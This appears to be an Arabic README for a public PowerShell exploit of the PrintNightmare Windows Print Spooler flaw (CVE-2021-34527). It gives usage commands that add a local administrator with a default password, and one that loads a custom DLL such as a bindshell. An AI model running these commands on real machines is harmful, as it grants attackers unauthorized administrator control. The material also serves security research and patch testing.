
PowerShell استغلال تصعيد الامتيازات المحلية لـ PrintNightmare (CVE-2021-34527) يستهدف Windows Print Spooler. يضمّ حمولة DLL مخصصة لإضافة مستخدم مسؤول محلي عبر استدعاءات Win32 API الانعكاسية.
Caleb Stewart | John Hammond | 1 يونيو 2021
تحديث 2 يونيو 2021: أصدرت مايكروسوفت نشرة استشارية حول CVE-2021-34527، وصفت بشكل صحيح هذا المعرف المحدد بأنه استغلال الثغرة PrintNightmare. في السابق، كان المجتمع يفترض أن CVE-2021-1675 "هو PrintNightmare" لأن مسار 8 يونيو لم يحل هذه المشكلة. هذا المستودع مطابق للأصل فقط مع اسم CVE مختلف.
CVE-2021-34527 هي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد ورفع الامتيازات المحلية، أُطلق عليها اسم "PrintNightmare".
تم إصدار استغلالات لإثبات المفهوم (Python, C++) لقدرة تنفيذ التعليمات البرمجية عن بُعد، ونسخة C# لرفع الامتيازات المحلية. لم نشهد تنفيذًا أصليًا في PowerShell الخالص، وأردنا أن نجرب تحسين الاستغلال وإعادة صياغته.
يقوم هذا السكربت PowerShell بتنفيذ رفع الامتيازات المحلية (LPE) باستخدام تقنية هجوم PrintNightmare.

تم اختبار هذا على Windows Server 2016 وWindows Server 2019.
إضافة مستخدم جديد إلى مجموعة المسؤولين المحليين افتراضيًا:
Import-Module .\cve-2021-34527.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
قدّم حمولة DLL مخصصة لتفعل أي شيء آخر قد تريده.
Import-Module .\cve-2021-34527.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"